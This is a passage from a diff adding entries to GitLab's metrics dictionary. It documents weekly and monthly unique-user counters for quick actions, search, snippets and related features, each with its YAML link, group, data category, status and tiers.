+
+### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_weekly`
+
+Count of WAU using the `/remove_child_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181716_i_quickactions_remove_child_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_monthly`
+
+Count of MAU using the `/remove_due_date` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_weekly`
+
+Count of WAU using the `/remove_due_date` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_epic_monthly`
+
+Count of MAU using the `/remove_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_epic_weekly`
+
+Count of WAU using the `/remove_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181723_i_quickactions_remove_epic_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_monthly`
+
+Count of MAU using the `/remove_estimate` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_weekly`
+
+Count of WAU using the `/remove_estimate` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_monthly`
+
+Count of MAU using the `/remove_iteration` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_weekly`
+
+Count of WAU using the `/remove_iteration` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181731_i_quickactions_remove_iteration_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_monthly`
+
+Count of MAU using the `/remove_milestone` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_weekly`
+
+Count of WAU using the `/remove_milestone` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_monthly`
+
+Count of MAU using the `/remove_parent_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_weekly`
+
+Count of WAU using the `/remove_parent_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181738_i_quickactions_remove_parent_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_monthly`
+
+Count of MAU using the `/remove_time_spent` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_weekly`
+
+Count of WAU using the `/remove_time_spent` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_monthly`
+
+Count of MAU using the `/remove_zoom` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_weekly`
+
+Count of WAU using the `/remove_zoom` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reopen_monthly`
+
+Count of MAU using the `/reopen` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reopen_weekly`
+
+Count of WAU using the `/reopen` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_shrug_monthly`
+
+Count of MAU using the `/shrug` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_shrug_weekly`
+
+Count of WAU using the `/shrug` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_spend_add_monthly`
+
+Count of MAU using the `/spend` quick action to add time spent
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_spend_add_weekly`
+
+Count of WAU using the `/spend` quick action to add time spent
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_monthly`
+
+Count of MAU using the `/spend` quick action to subtract time spent
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_weekly`
+
+Count of WAU using the `/spend` quick action to subtract time spent
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_submit_review_monthly`
+
+Count of MAU using the `/submit_review` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_submit_review_weekly`
+
+Count of WAU using the `/submit_review` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_subscribe_monthly`
+
+Count of MAU using the `/subscribe` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_subscribe_weekly`
+
+Count of WAU using the `/subscribe` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_tableflip_monthly`
+
+Count of MAU using the `/tableflip` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_tableflip_weekly`
+
+Count of WAU using the `/tableflip` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_tag_monthly`
+
+Count of MAU using the `/tag` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_tag_weekly`
+
+Count of WAU using the `/tag` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_target_branch_monthly`
+
+Count of MAU using the `/target_branch` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_target_branch_weekly`
+
+Count of WAU using the `/target_branch` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_title_monthly`
+
+Count of MAU using the `/title` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_title_weekly`
+
+Count of WAU using the `/title` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_todo_monthly`
+
+Count of MAU using the `/todo` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_todo_weekly`
+
+Count of WAU using the `/todo` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_all_monthly`
+
+Count of MAU using the `/unassign` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_all_weekly`
+
+Count of WAU using the `/unassign` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_monthly`
+
+Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_weekly`
+
+Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_monthly`
+
+Count of MAU using the `/unassign @user1` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_weekly`
+
+Count of WAU using the `/unassign @user1` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_monthly`
+
+Count of MAU using the `/unlabel` quick action to remove all labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_weekly`
+
+Count of WAU using the `/unlabel` quick action to remove all labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_monthly`
+
+Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_weekly`
+
+Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlock_monthly`
+
+Count of MAU using the `/unlock` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unlock_weekly`
+
+Count of WAU using the `/unlock` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_monthly`
+
+Count of MAU using the `/unsubscribe` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_weekly`
+
+Count of WAU using the `/unsubscribe` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_weight_monthly`
+
+Count of MAU using the `/weight` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_weight_weekly`
+
+Count of WAU using the `/weight` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181856_i_quickactions_weight_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_wip_monthly`
+
+Count of MAU using the `/wip` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_wip_weekly`
+
+Count of WAU using the `/wip` quick action on Merge Requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_zoom_monthly`
+
+Count of MAU using the `/zoom` quick action on Issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_zoom_weekly`
+
+Count of WAU using the `/zoom` quick action on Issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.quickactions_total_unique_counts_monthly`
+
+Count of MAU using one or more quick actions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.quickactions_total_unique_counts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184801_quickactions_total_unique_counts_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.search.i_search_advanced_monthly`
+
+Calculated unique users to perform Advanced searches by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180427_i_search_advanced_monthly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.search.i_search_advanced_weekly`
+
+Calculated unique users to perform Advanced searches by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180425_i_search_advanced_weekly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.search.i_search_paid_monthly`
+
+Calculated unique users to perform a search with a paid license enabled by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216184035_i_search_paid_monthly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.search.i_search_paid_weekly`
+
+Calculated unique users to perform a search with a paid license enabled by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184033_i_search_paid_weekly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.search.i_search_total_monthly`
+
+Calculated unique users to perform Basic or Advanced searches by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.search.i_search_total_weekly`
+
+Calculated unique users to perform Basic or Advanced searches by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.search.search_total_unique_counts_monthly`
+
+Total unique users for i_search_total, i_search_advanced, i_search_paid for recent 28 days. This metric is redundant because advanced will be a subset of paid and paid will be a subset of total. i_search_total is more appropriate if you just want the total
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.search.search_total_unique_counts_weekly`
+
+Calculated unique users to perform Basic or Advanced searches by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.secure.users_expanding_secure_security_report_monthly`
+
+Count of expanding the security report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.secure.users_expanding_secure_security_report_weekly`
+
+Count of expanding the security report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.snippets.i_snippets_show_monthly`
+
+Monthly number of users viewing snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.snippets.i_snippets_show_weekly`
+
+Weekly number of users viewing snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.design_action_monthly`
+
+Count of total design actions (upload, delete, comment, reply)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182106_design_action_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.design_action_weekly`
+
+Count of total design actions (upload, delete, comment, reply)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182104_design_action_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.git_write_action_monthly`
+
+Count of unique Git write actions
+
